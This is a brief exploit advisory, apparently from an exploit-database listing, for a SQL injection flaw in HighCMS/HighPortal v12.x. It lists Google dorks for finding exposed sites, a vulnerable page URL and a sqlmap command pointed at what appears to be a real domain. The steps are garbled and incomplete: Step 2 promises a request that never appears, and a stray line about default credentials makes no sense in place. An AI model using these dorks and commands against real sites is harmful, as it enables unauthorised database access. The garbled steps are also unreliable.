HighCMS / HighPortal 12.x SQL Injection Vulnerability

# Exploit Title: HighCMS/HighPortal v12.x SQL Inj
# Type : WEBAPPS "HighCMS/HighPortal"
# Platform :  ASP.NET
# Exploit Author :  E1.Coders
# Software Link :  https://aryanic.com/page/portal
# Version :  v12.x
# Category :  Webapps
# Tested on: Linux/Windows
# Google Dork: inurl:index.jsp?siteid=1&fkeyid=&siteid=1&pageid=
 
# Google Dork: <©2022 HighCMS/HighPortal"
 
Step 1: Enter the address of the "page" that has the problem of sql injection attacks  
http: //TARGET/index.jsp? Siteid = 1 & fkeyid = & siteid = 1 & pageid = 6528 Default credentials.      ( is True )
STEP 2 : Send the following request "
or
Use sqlmap : python sqlmap.py -u "https://example.ir/index.jsp?siteid=1&fkeyid=&siteid=1&pageid=11211"